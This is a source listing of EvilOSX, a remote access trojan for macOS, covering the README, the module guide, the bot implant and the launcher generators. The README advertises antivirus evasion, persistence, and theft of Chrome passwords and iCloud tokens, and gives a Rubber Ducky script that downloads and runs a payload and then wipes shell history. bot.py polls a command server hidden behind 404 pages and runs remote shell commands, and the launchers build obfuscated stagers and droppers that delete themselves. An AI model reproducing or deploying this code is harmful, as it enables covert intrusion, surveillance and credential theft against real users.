├── .gitignore
├── .travis.yml
├── CONTRIBUTING.md
├── Dockerfile
├── LICENSE.txt
├── README.md
├── bot
├── __init__.py
├── bot.py
├── launchers
│ ├── __init__.py
│ ├── helper.py
│ ├── python.py
│ └── rubber_ducky.py
└── loaders
│ ├── __init__.py
│ ├── helper.py
│ └── launch_daemon
│ ├── install.py
│ ├── loader.py
│ ├── remove.py
│ └── update.py
├── data
├── builds
│ └── .gitignore
├── images
│ ├── logo.png
│ └── logo_334x600.png
└── output
│ └── .gitignore
├── requirements.txt
├── server
├── __init__.py
├── handler.py
├── model.py
├── modules
│ ├── __init__.py
│ ├── bot
│ │ ├── CVE-2015-5889.py
│ │ ├── CVE-2020-3950.py
│ │ ├── browser_history.py
│ │ ├── chrome_passwords.py
│ │ ├── clipboard.py
│ │ ├── decrypt_mme.py
│ │ ├── download.py
│ │ ├── get_backups.py
│ │ ├── get_info.py
│ │ ├── icloud_contacts.py
│ │ ├── microphone.py
│ │ ├── screenshot.py
│ │ ├── slowloris.py
│ │ ├── upload.py
│ │ └── webcam.py
│ ├── helper.py
│ └── server
│ │ ├── CVE-2015-5889.py
│ │ ├── CVE-2020-3950.py
│ │ ├── browser_history.py
│ │ ├── chrome_passwords.py
│ │ ├── clipboard.py
│ │ ├── decrypt_mme.py
│ │ ├── download.py
│ │ ├── get_backups.py
│ │ ├── get_info.py
│ │ ├── icloud_contacts.py
│ │ ├── microphone.py
│ │ ├── phish_itunes.py
│ │ ├── remove_bot.py
│ │ ├── screenshot.py
│ │ ├── slowloris.py
│ │ ├── update_bot.py
│ │ ├── upload.py
│ │ └── webcam.py
├── version.py
└── view
│ ├── __init__.py
│ ├── cli.py
│ ├── gui.py
│ └── helper.py
└── start.py
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/
2 | *.pyc
3 | data/EvilOSX.db
--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | group: travis_latest
2 | language: python
3 | cache: pip
4 | matrix:
5 | include:
6 | - python: 2.7
7 | # - python: 3.4
8 | # - python: 3.5
9 | # - python: 3.6
10 | - python: 3.7
11 | dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069)
12 | sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069)
13 | install:
14 | - pip install -r requirements.txt
15 | - pip install flake8
16 | before_script:
17 | # stop the build if there are Python syntax errors or undefined names
18 | - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
19 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
20 | - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
21 | script:
22 | - true # add other tests here
23 | notifications:
24 | on_success: change
25 | on_failure: change # `always` will be the setting once code changes slow down
26 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 |
2 | Modules
3 |
4 |
5 |
6 | Modular programming is a software design technique that emphasizes separating the functionality of a program into independent, interchangeable modules, such that each contains everything necessary to execute only one aspect of the desired functionality.
7 |
8 | ---
9 |
10 | ## Creating a module
11 | Modules are split up into two files.
12 |
13 | ### Server
14 | For this example we're going to create a simple module which says "Hello world!" to the bot (via text to speech).
15 | The first file should be under the [server](https://github.com/Marten4n6/EvilOSX/tree/master/server/modules/server) directory (I called mine **say.py**).
16 |
17 | We can use this to get information, setup and process the response of a module.
18 | This file will be automatically picked up by the server if we follow the rules specified in the ModuleABC class.
19 | Here's how the server side of this module looks:
20 | ```python
21 | from server.modules.helper import *
22 |
23 |
24 | class Module(ModuleABC):
25 | def get_info(self):
26 | return {
27 | "Author:": ["Marten4n6"],
28 | "Description": "Speak to the bot via text to speech.",
29 | "References": [],
30 | "Stoppable": False
31 | }
32 |
33 | def get_setup_messages():
34 | """Setup messages which will be presented to the user.
35 |
36 | In this example we'll ask the user for the message they want
37 | text to speech to speak to the bot.
38 | """
39 | return [
40 | "Message to speak (Leave empty for \"Hello world!\"): "
41 | ]
42 |
43 | def setup(self, set_options):
44 | """Called after all options have been set."""
45 | message = set_options[0]
46 |
47 | if not message: # The user pressed enter, set the default.
48 | message = "Hello world!"
49 |
50 | # Return True to indicate the setup was successful.
51 | # This dictionary will be sent to the bot side of this module.
52 | return True, {
53 | "message": message
54 | }
55 | ```
56 | Now this module will be picked up by the server (you can see this by starting the server and typing "modules").
57 |
58 | ### Bot
59 | Now let's make our module actually do something...
60 |
61 | The second file should be under the [bot](https://github.com/Marten4n6/EvilOSX/tree/master/server/modules/bot) directory and named the same as the server side.
62 | Every module must contain the following function:
63 | ```python
64 | def run(options):
65 | # This is the required starting point of every module.
66 | pass
67 | ```
68 | The optional dictionary returned by the setup method (of the first file) is passed to this function.
69 | It's useful to know that this dictionary always contains the following keys:
70 | ```"server_host", "server_port", "program_directory"```
71 |
72 | Anything printed by a module will **directly** be returned to the server's ```process_response``` method.
73 | Optionally, the dictionary returned by the server's ```setup``` method may have a "response_options" key which is then also sent back to this method.
74 |
75 | Here's the bot side of our example:
76 | ```python
77 | import subprocess
78 |
79 |
80 | def run(options):
81 | message = options["message"]
82 |
83 | subprocess.call("say '%s'" % message, shell=True)
84 | print("Say module finished!")
85 | ```
86 |
87 | ##
88 | Feel free to submit an [issue](https://github.com/Marten4n6/EvilOSX/issues) or send me an email if you have any further questions.
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.7-alpine
2 |
3 | # Build dependencies
4 | RUN apk add build-base gcc
5 |
6 | # Layer caching
7 | COPY requirements.txt /
8 | RUN pip install -r /requirements.txt
9 |
10 | COPY . /EvilOSX
11 | WORKDIR /EvilOSX
12 |
13 | CMD ["python", "start.py"]
14 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | EvilOSX
6 |
7 |
8 |
9 | An evil RAT (Remote Administration Tool) for macOS / OS X.
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 | ---
30 |
31 | [Marco Generator](https://github.com/cedowens/EvilOSX_MacroGenerator) by Cedric Owens
32 |
33 | ### This project is no longer active
34 |
35 | ## Features
36 | - Emulate a terminal instance
37 | - Simple extendable [module](https://github.com/Marten4n6/EvilOSX/blob/master/CONTRIBUTING.md) system
38 | - No bot dependencies (pure python)
39 | - Undetected by anti-virus (OpenSSL [AES-256](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encrypted payloads)
40 | - Persistent
41 | - GUI and CLI support
42 | - Retrieve Chrome passwords
43 | - Retrieve iCloud tokens and contacts
44 | - Retrieve/monitor the clipboard
45 | - Retrieve browser history (Chrome and Safari)
46 | - [Phish](https://i.imgur.com/x3ilHQi.png) for iCloud passwords via iTunes
47 | - iTunes (iOS) backup enumeration
48 | - Record the microphone
49 | - Take a desktop screenshot or picture using the webcam
50 | - Attempt to get root via local privilege escalation
51 |
52 | ## How To Use
53 |
54 | ```bash
55 | # Clone or download this repository
56 | $ git clone https://github.com/Marten4n6/EvilOSX
57 |
58 | # Go into the repository
59 | $ cd EvilOSX
60 |
61 | # Install dependencies required by the server
62 | $ sudo pip install -r requirements.txt
63 |
64 | # Start the GUI
65 | $ python start.py
66 |
67 | # Lastly, run a built launcher on your target(s)
68 | ```
69 |
70 | **Warning:** Because payloads are created unique to the target system (automatically by the server), the server must be running when any bot connects for the first time.
71 |
72 | ### Advanced users
73 |
74 | There's also a CLI for those who want to use this over SSH:
75 | ```bash
76 | # Create a launcher to infect your target(s)
77 | $ python start.py --builder
78 |
79 | # Start the CLI
80 | $ python start.py --cli --port 1337
81 |
82 | # Lastly, run a built launcher on your target(s)
83 | ```
84 |
85 | ## Screenshots
86 |
87 | 
88 | 
89 |
90 | ## Motivation
91 | This project was created to be used with my [Rubber Ducky](https://hakshop.com/products/usb-rubber-ducky-deluxe), here's the simple script:
92 | ```
93 | REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
94 | REM See also: https://ducktoolkit.com/vidpid/
95 |
96 | DELAY 1000
97 | GUI SPACE
98 | DELAY 500
99 | STRING Termina
100 | DELAY 1000
101 | ENTER
102 | DELAY 1500
103 |
104 | REM Kill all terminals after x seconds
105 | STRING screen -dm bash -c 'sleep 6; killall Terminal'
106 | ENTER
107 |
108 | STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
109 | ENTER
110 | ```
111 | - It takes about 10 seconds to backdoor any unlocked Mac, which is...... *nice*
112 | - Termina**l** is spelt that way intentionally, on some systems spotlight won't find the terminal otherwise.
113 | - To bypass the keyboard setup assistant make sure you change the VID&PID which can be found [here](https://ducktoolkit.com/vidpid/).
114 | Aluminum Keyboard (ISO) is probably the one you are looking for.
115 |
116 |
117 | ## Versioning
118 | EvilOSX will be maintained under the Semantic Versioning guidelines as much as possible.
119 | Server and bot releases will be numbered with the follow format:
120 | ```
121 | ..
122 | ```
123 |
124 | And constructed with the following guidelines:
125 | - Breaking backward compatibility (with older bots) bumps the major
126 | - New additions without breaking backward compatibility bumps the minor
127 | - Bug fixes and misc changes bump the patch
128 |
129 | For more information on SemVer, please visit https://semver.org/.
130 |
131 | ## Design Notes
132 | - Infecting a machine is split up into three parts:
133 | * A **launcher** is run on the target machine whose only goal is to run the stager
134 | * The stager asks the server for a **loader** which handles how a payload will be loaded
135 | * The loader is given a uniquely encrypted **payload** and then sent back to the stager
136 | - The server hides it's communications by sending messages hidden in HTTP 404 error pages (from BlackHat's "Hiding In Plain Sight")
137 | * Command requests are retrieved from the server via a GET request
138 | * Command responses are sent to the server via a POST request
139 | - Modules take advantage of python's dynamic nature, they are simply sent over the network compressed with [zlib](https://www.zlib.net), along with any configuration options
140 | - Since the bot only communicates with the server and never the other way around, the server has no way of knowing when a bot goes offline
141 |
142 | ## Issues
143 | Feel free to submit any issues or feature requests [here](https://github.com/Marten4n6/EvilOSX/issues).
144 |
145 | ## Contributing
146 | For a simple guide on how to create modules click [here](https://github.com/Marten4n6/EvilOSX/blob/master/CONTRIBUTING.md).
147 |
148 | ## Credits
149 | - The awesome [Empire](https://github.com/EmpireProject) project
150 | - Shoutout to [Patrick Wardle](https://twitter.com/patrickwardle) for his awesome talks, check out [Objective-See](https://objective-see.com/)
151 | - manwhoami for his projects: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
152 | (now deleted... let me know if you reappear)
153 | - The slowloris module is pretty much copied from [PySlowLoris](https://github.com/ProjectMayhem/PySlowLoris)
154 | - [urwid](http://urwid.org/) and [this code](https://github.com/izderadicka/xmpp-tester/blob/master/commander.py) which saved me a lot of time with the CLI
155 | - Logo created by [motusora](https://www.behance.net/motusora)
156 |
157 | ## License
158 | [GPLv3](https://github.com/Marten4n6/EvilOSX/blob/master/LICENSE.txt)
159 |
--------------------------------------------------------------------------------
/bot/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Marten4n6/EvilOSX/033a662030e99b3704a1505244ebc1e6e59fba57/bot/__init__.py
--------------------------------------------------------------------------------
/bot/bot.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | """Minimal bot which loads modules as they are needed from the server."""
4 | __author__ = "Marten4n6"
5 | __license__ = "GPLv3"
6 | __version__ = "4.1.1"
7 |
8 | import getpass
9 | import json
10 | import logging
11 | import os
12 | import subprocess
13 | from threading import Timer, Thread
14 | import traceback
15 | import uuid
16 | from base64 import b64encode, b64decode
17 | from binascii import hexlify
18 | from time import sleep, time
19 | from zlib import decompress
20 | import platform
21 | from StringIO import StringIO
22 | from urllib import urlencode
23 | import sys
24 | import binascii
25 |
26 | import urllib2
27 |
28 | # *************************************************************
29 | # These variables will be patched when this payload is created.
30 | SERVER_HOST = "127.0.0.1"
31 | SERVER_PORT = 1337
32 | USER_AGENT = ""
33 | PROGRAM_DIRECTORY = ""
34 | LOADER_OPTIONS = {"loader_name": "launch_daemon"}
35 | # *************************************************************
36 |
37 | COMMAND_INTERVAL = 1 # Normal interval to check for commands.
38 | IDLE_INTERVAL = 30 # Interval to check for commands when idle.
39 | IDLE_TIME = 60 # Time in seconds after which the client will become idle.
40 | IDLE_SLEEP_INTERVAL = 5 # Time between sleeps
41 |
42 | # Logging
43 | logging.basicConfig(format="[%(levelname)s] %(funcName)s:%(lineno)s - %(message)s", level=logging.DEBUG)
44 | log = logging.getLogger(__name__)
45 |
46 |
47 | class CommandType:
48 | """Enum class for command types."""
49 |
50 | def __init__(self):
51 | pass
52 |
53 | NONE = 0
54 | MODULE = 1
55 | SHELL = 2
56 |
57 |
58 | class RequestType:
59 | """Enum class for bot request types."""
60 |
61 | def __init__(self):
62 | pass
63 |
64 | GET_COMMAND = 1
65 | RESPONSE = 2
66 |
67 |
68 | class Command:
69 | """This class represents a command."""
70 |
71 | def __init__(self, command_type, command=None, options=None):
72 | """
73 | :type command_type: int
74 | :type command: str
75 | :type options: dict
76 | """
77 | self.type = command_type
78 | self.command = command
79 | self.options = options
80 |
81 |
82 | def get_uid():
83 | """:return The unique ID of this bot."""
84 | # The bot must be connected to WiFi anyway, so getnode is fine.
85 | # See https://docs.python.org/2/library/uuid.html#uuid.getnode
86 | return hexlify(getpass.getuser() + "-" + str(uuid.getnode()) + "-" + __version__)
87 |
88 |
89 | def run_command(command, cleanup=True, kill_on_timeout=True):
90 | """Runs a system command and returns its response."""
91 | if len(command) > 3 and command[0:3] == "cd ":
92 | try:
93 | os.chdir(os.path.expanduser(command[3:]))
94 | return "Directory changed to: " + os.getcwd()
95 | except Exception as ex:
96 | log.error(str(ex))
97 | return str(ex)
98 | else:
99 | try:
100 | process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
101 | timer = None
102 |
103 | try:
104 | if kill_on_timeout:
105 | # Kill process after 5 seconds (in case it hangs).
106 | timer = Timer(5, lambda process: process.kill(), [process])
107 | timer.start()
108 |
109 | stdout, stderr = process.communicate()
110 | response = stdout + stderr
111 |
112 | if cleanup:
113 | return response.replace("\n", "")
114 | else:
115 | if len(response.split("\n")) == 2: # Response is one line.
116 | return response.replace("\n", "")
117 | else:
118 | return response
119 | finally:
120 | if timer:
121 | timer.cancel()
122 | except Exception as ex:
123 | log.error(str(ex))
124 | return str(ex)
125 |
126 |
127 | class ModuleTask(Thread):
128 | """This class handles the execution of a module.
129 |
130 | Thread subclass with a kill method, see:
131 | https://mail.python.org/pipermail/python-list/2004-May/281944.html
132 | """
133 |
134 | def __init__(self, command):
135 | Thread.__init__(self)
136 | self._command = command
137 | self._is_killed = False
138 |
139 | def write(self, text):
140 | """This is the where sys.stdout is redirected to."""
141 | if text != "\n":
142 | module_name = self._command.options["module_name"]
143 | response_options = ""
144 |
145 | if "response_options" in self._command.options:
146 | response_options = self._command.options["response_options"]
147 |
148 | send_response(text, module_name, response_options)
149 |
150 | def run(self):
151 | sys.stdout = self
152 | sys.settrace(self.global_trace)
153 |
154 | # The module code is encoded with base64 and compressed.
155 | try:
156 | module = compile(decompress(b64decode(self._command.command)), "", "exec")
157 | except binascii.Error:
158 | send_response("Could not decode string as Base64 (len:%s).\n" % len(self._command.command))
159 |
160 | module_dict = {}
161 |
162 | # We want every module to be able to access these options.
163 | self._command.options["server_host"] = SERVER_HOST
164 | self._command.options["server_port"] = SERVER_PORT
165 | self._command.options["program_directory"] = PROGRAM_DIRECTORY
166 | self._command.options["loader_options"] = LOADER_OPTIONS
167 |
168 | try:
169 | exec(module, module_dict)
170 | module_dict["run"](self._command.options) # Thanks http://lucumr.pocoo.org/2011/2/1/exec-in-python/
171 | except Exception:
172 | send_response("Error executing module: \n" + traceback.format_exc())
173 |
174 | sys.stdout = sys.__stdout__
175 |
176 | def global_trace(self, frame, why, arg):
177 | if why == "call":
178 | return self.local_trace
179 | else:
180 | return None
181 |
182 | def local_trace(self, frame, why, arg):
183 | if self._is_killed:
184 | if why.strip() == "line":
185 | raise SystemExit()
186 | return self.local_trace
187 |
188 | def kill(self):
189 | self._is_killed = True
190 |
191 |
192 | def send_response(response, module_name="", response_options=""):
193 | """Sends a response to the server.
194 |
195 | :type response: str
196 | :type module_name: str
197 | :type response_options: dict
198 | """
199 | headers = {"User-Agent": USER_AGENT}
200 | data = urlencode({"username": b64encode(json.dumps(
201 | {"response": b64encode(response),
202 | "bot_uid": get_uid(), "module_name": module_name, "response_options": response_options}
203 | ))})
204 |
205 | try:
206 | request = urllib2.Request("http://%s:%s" % (SERVER_HOST, SERVER_PORT), headers=headers, data=data)
207 | urllib2.urlopen(request)
208 | except urllib2.HTTPError as ex:
209 | if ex.code == 404:
210 | # 404 response expected, no problem.
211 | pass
212 | else:
213 | raise
214 |
215 |
216 | def get_command():
217 | """
218 | :return: A command from the server.
219 | :rtype: Command
220 | """
221 | headers = {
222 | "User-Agent": USER_AGENT,
223 | "Cookie": "session=" + b64encode(get_uid()) + "-" +
224 | b64encode(json.dumps({
225 | "type": RequestType.GET_COMMAND, "username": run_command("whoami"),
226 | "hostname": run_command("hostname"), "path": run_command("pwd"),
227 | "version": str(platform.mac_ver()[0]), "loader_name": LOADER_OPTIONS["loader_name"]
228 | }))
229 | }
230 | response = ""
231 |
232 | try:
233 | # This will always throw an exception because the server will respond with 404.
234 | urllib2.urlopen(urllib2.Request("http://%s:%s" % (SERVER_HOST, SERVER_PORT), headers=headers))
235 | except urllib2.HTTPError as ex:
236 | if ex.code == 404:
237 | response = ex.read()
238 |
239 | log.debug("Raw response: \n" + response)
240 | else:
241 | log.error(ex.message)
242 |
243 | try:
244 | processed = response.split("DEBUG:\n")[1].replace("DEBUG-->", "")
245 | try:
246 | processed_split = b64decode(processed).split("\n")
247 | except binascii.Error:
248 | return Command(CommandType.NONE)
249 |
250 | command_type = int(processed_split[0])
251 | command = processed_split[1]
252 | try:
253 | options = json.loads(b64decode(processed_split[2]))
254 | except ValueError:
255 | # This command isn't a module so there's no options.
256 | options = None
257 |
258 | log.debug("Type: " + str(command_type))
259 | log.debug("Command: " + command)
260 | log.debug("Options: " + str(options))
261 |
262 | return Command(command_type, command, options)
263 | except IndexError:
264 | return Command(CommandType.NONE)
265 |
266 |
267 | def main():
268 | """Main bot loop."""
269 | last_active = time() # The last time a command was requested from the server.
270 | idle = False
271 |
272 | log.info("Starting EvilOSX v%s...", __version__)
273 |
274 | while True:
275 | try:
276 | log.info("Receiving command...")
277 | command = get_command()
278 |
279 | if command.type != CommandType.NONE:
280 | if idle:
281 | log.info("Switching from idle back to normal mode...")
282 |
283 | last_active = time()
284 | idle = False
285 |
286 | if command.type == CommandType.MODULE:
287 | log.debug("Running module...")
288 |
289 | module_task = ModuleTask(command)
290 | module_task.daemon = True
291 | module_task.start()
292 | else:
293 | log.debug("Running command...")
294 | send_response(run_command(b64decode(command.command), cleanup=False))
295 | else:
296 | log.info("No command received.")
297 |
298 | if idle:
299 | sleep(IDLE_INTERVAL)
300 | elif (time() - last_active) >= IDLE_TIME:
301 | log.info("The last command was a while ago, switching to idle...")
302 | idle = True
303 | else:
304 | sleep(COMMAND_INTERVAL)
305 | except Exception as ex:
306 | if "Connection refused" in str(ex):
307 | # The server is offline.
308 | log.error("Failed to connect to the server.")
309 | sleep(IDLE_SLEEP_INTERVAL)
310 | else:
311 | log.error(traceback.format_exc())
312 | sleep(IDLE_SLEEP_INTERVAL)
313 |
314 |
315 | if __name__ == '__main__':
316 | try:
317 | main()
318 | except KeyboardInterrupt:
319 | log.info("\nInterrupted.")
320 |
--------------------------------------------------------------------------------
/bot/launchers/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """Creates loaders using the factory pattern."""
3 | __author__ = "Marten4n6"
4 | __license__ = "GPLv3"
5 |
6 | import imp
7 | import json
8 | import random
9 | import string
10 | from base64 import b64encode
11 | from os import path, listdir
12 | from textwrap import dedent
13 |
14 | _module_cache = {}
15 |
16 |
17 | def get_names():
18 | """:return: A list of available launchers."""
19 | launcher_names = []
20 |
21 | for filename in listdir(path.realpath(path.dirname(__file__))):
22 | if not filename.endswith(".py") or filename in ["__init__.py", "helper.py"]:
23 | continue
24 | else:
25 | launcher_names.append(filename.replace(".py", "", 1))
26 |
27 | return launcher_names
28 |
29 |
30 | def _load_module(module_name):
31 | """Loads the module and adds it to the cache.
32 |
33 | :type module_name: str
34 | """
35 | # Going to use imp over importlib until python decides to remove it.
36 | module_path = path.realpath(path.join(path.dirname(__file__), module_name + ".py"))
37 | module = imp.load_source(module_name, module_path)
38 |
39 | _module_cache[module_name] = module
40 |
41 | return _module_cache[module_name]
42 |
43 |
44 | def _get_random_user_agent():
45 | """
46 | :rtype: str
47 | :return: A random user agent.
48 | """
49 | # Taken from https://techblog.willshouse.com/2012/01/03/most-common-user-agents/
50 | user_agents = [
51 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15",
52 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
53 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
54 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
55 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0",
56 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
57 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6",
58 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
59 | ]
60 | return random.choice(user_agents)
61 |
62 |
63 | def get_random_string(size=random.randint(6, 15), numbers=False):
64 | """
65 | :type size: int
66 | :type numbers: bool
67 | :rtype: str
68 | :return: A randomly generated string of x characters."""
69 | result = ""
70 |
71 | for i in range(0, size):
72 | if not numbers:
73 | result += random.choice(string.ascii_letters)
74 | else:
75 | result += random.choice(string.ascii_letters + string.digits)
76 | return result
77 |
78 |
79 | def create_stager(server_host, server_port, loader_options):
80 | """
81 | :type server_host: str
82 | :type server_port: int
83 | :type loader_options: dict
84 | :rtype: str
85 | :return: The stager which the launcher will execute."""
86 | stager_host = "http://{}:{}".format(server_host, server_port)
87 |
88 | # Small piece of code which starts the staging process.
89 | # (Runs the loader returned by the server).
90 | stager_code = dedent("""\
91 | # -*- coding: utf-8 -*-
92 | import urllib2
93 | from base64 import b64encode, b64decode
94 | import getpass
95 | from uuid import getnode
96 | from binascii import hexlify
97 |
98 |
99 | def get_uid():
100 | return hexlify(getpass.getuser() + "-" + str(getnode()))
101 |
102 |
103 | {0} = "{1}"
104 | data = {{
105 | "Cookie": "session=" + b64encode(get_uid()) + "-{2}",
106 | "User-Agent": "{3}"
107 | }}
108 |
109 | try:
110 | request = urllib2.Request("{4}", headers=data)
111 | urllib2.urlopen(request).read()
112 | except urllib2.HTTPError as ex:
113 | if ex.code == 404:
114 | exec(b64decode(ex.read().split("DEBUG:\\n")[1].replace("DEBUG-->", "")))
115 | else:
116 | raise
117 | """.format(
118 | get_random_string(), get_random_string(numbers=True),
119 | b64encode("{}".format(json.dumps({
120 | "type": 0,
121 | "payload_options": {"host": server_host, "port": server_port},
122 | "loader_options": loader_options
123 | })).encode()).decode(),
124 | _get_random_user_agent(),
125 | stager_host
126 | ))
127 |
128 | return "echo {} | base64 --decode | python".format(b64encode(stager_code.encode()).decode())
129 |
130 |
131 | def generate(launcher_name, stager):
132 | """
133 | :type launcher_name: str
134 | :type stager: str
135 | :return: A tuple containing the file extension and code of this launcher.
136 | :rtype: tuple
137 | """
138 | cached_launcher = _module_cache.get(launcher_name)
139 |
140 | if cached_launcher:
141 | return cached_launcher.Launcher().generate(stager)
142 | else:
143 | return _load_module(launcher_name).Launcher().generate(stager)
144 |
145 |
146 | _module_cache["helper"] = _load_module("helper")
147 |
--------------------------------------------------------------------------------
/bot/launchers/helper.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import random
6 | import string
7 | from abc import ABCMeta, abstractmethod
8 |
9 |
10 | def random_string(size=random.randint(6, 15), numbers=False):
11 | """
12 | :type size: int
13 | :type numbers: bool
14 | :rtype: str
15 | :return A randomly generated string of x characters."""
16 | result = ""
17 |
18 | for i in range(0, size):
19 | if not numbers:
20 | result += random.choice(string.ascii_letters)
21 | else:
22 | result += random.choice(string.ascii_letters + string.digits)
23 | return result
24 |
25 |
26 | class LauncherABC:
27 | """Abstract base class for launchers."""
28 | __metaclass__ = ABCMeta
29 |
30 | @abstractmethod
31 | def generate(self, stager):
32 | """
33 | :type stager: str
34 | :rtype: (str, str)
35 | :return A tuple containing the file extension and code of the launcher.
36 | """
37 | pass
38 |
--------------------------------------------------------------------------------
/bot/launchers/python.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from bot.launchers.helper import LauncherABC, random_string
6 | from textwrap import dedent
7 |
8 |
9 | class Launcher(LauncherABC):
10 | def generate(self, stager):
11 | return ("py", dedent("""\
12 | #!/usr/bin/python
13 | # -*- coding: utf-8 -*-
14 | import subprocess
15 |
16 | {} = "{}"
17 | subprocess.Popen("{}", shell=True)
18 | subprocess.Popen("rm -rf " + __file__, shell=True)
19 | """).format(random_string(), random_string(numbers=True), stager.replace('"', '\\"')))
20 |
--------------------------------------------------------------------------------
/bot/launchers/rubber_ducky.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from bot.launchers.helper import LauncherABC
6 | from textwrap import dedent
7 |
8 |
9 | class Launcher(LauncherABC):
10 | def generate(self, stager):
11 | return ("txt", dedent("""\
12 | REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
13 | REM Also see https://ducktoolkit.com/vidpid/
14 | REM If timing is important, the following is a lot faster:
15 | REM STRING cd /tmp; curl -s HOST_TO_PYTHON_LAUNCHER.py -o 1337.py; python 1337.py; history -cw; clear
16 |
17 | DELAY 1000
18 | GUI SPACE
19 | DELAY 500
20 | STRING Termina
21 | DELAY 1000
22 | ENTER
23 | DELAY 1500
24 |
25 | REM Kill all terminals after x seconds
26 | STRING screen -dm bash -c 'sleep 6; killall Terminal'
27 | ENTER
28 |
29 | REM Run the stager
30 | STRING {}; history -cw; clear
31 | ENTER
32 | """.format(stager)))
33 |
--------------------------------------------------------------------------------
/bot/loaders/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """Creates loaders using the factory pattern."""
3 | __author__ = "Marten4n6"
4 | __license__ = "GPLv3"
5 |
6 | import imp
7 | from os import path, listdir
8 | from zlib import compress
9 |
10 | _loader_cache = {}
11 |
12 |
13 | def _load_loader(loader_name):
14 | """Loads the loader and adds it to the cache.
15 |
16 | :type loader_name: str
17 | """
18 | # Going to use imp over importlib until python decides to remove it.
19 | module_path = path.realpath(path.join(path.dirname(__file__), loader_name, "loader.py"))
20 | module = imp.load_source(loader_name, module_path)
21 |
22 | _loader_cache[loader_name] = module.Loader()
23 |
24 | return _loader_cache[loader_name]
25 |
26 |
27 | def get_names():
28 | """
29 | :rtype: list[str]
30 | :return: A list of all loader names.
31 | """
32 | names = []
33 |
34 | for name in listdir(path.realpath(path.dirname(__file__))):
35 | directory_path = path.realpath(path.join(path.dirname(__file__), name))
36 |
37 | if path.isdir(directory_path) and name not in ["__pycache__"]:
38 | names.append(name)
39 |
40 | return names
41 |
42 |
43 | def get_info(loader_name):
44 | """
45 | :type loader_name: str
46 | :rtype: dict
47 | :return: A dictionary containing basic information about the loader.
48 | """
49 | cached_loader = _loader_cache.get(loader_name)
50 |
51 | if not cached_loader:
52 | cached_loader = _load_loader(loader_name)
53 |
54 | return cached_loader.get_info()
55 |
56 |
57 | def get_option_messages(loader_name):
58 | """
59 | :type loader_name: str
60 | :rtype: list
61 | """
62 | cached_loader = _loader_cache.get(loader_name)
63 |
64 | try:
65 | if cached_loader:
66 | return cached_loader.get_option_messages()
67 | else:
68 | return _load_loader(loader_name).get_option_messages()
69 | except AttributeError:
70 | # This loader doesn't require any setup, no problem.
71 | return []
72 |
73 |
74 | def get_options(loader_name, set_options):
75 | """:return: A dictionary containing the loader's configuration options.
76 |
77 | :type loader_name: str
78 | :type set_options: list
79 | """
80 | cached_loader = _loader_cache.get(loader_name)
81 |
82 | if cached_loader:
83 | return cached_loader.get_options(set_options)
84 | else:
85 | return _load_loader(loader_name).get_options(set_options)
86 |
87 |
88 | def get_remove_code(loader_name):
89 | """:return: Compressed code which can be run on the bot.
90 |
91 | :type loader_name: str
92 | :rtype: bytes
93 | """
94 | source_path = path.realpath(path.join(path.dirname(__file__), loader_name, "remove.py"))
95 |
96 | with open(source_path, "rb") as input_file:
97 | code = input_file.read()
98 |
99 | return compress(code)
100 |
101 |
102 | def get_update_code(loader_name):
103 | """:return: Compressed code which can be run on the bot.
104 |
105 | :type loader_name: str
106 | :rtype: bytes
107 | """
108 | source_path = path.realpath(path.join(path.dirname(__file__), loader_name, "update.py"))
109 |
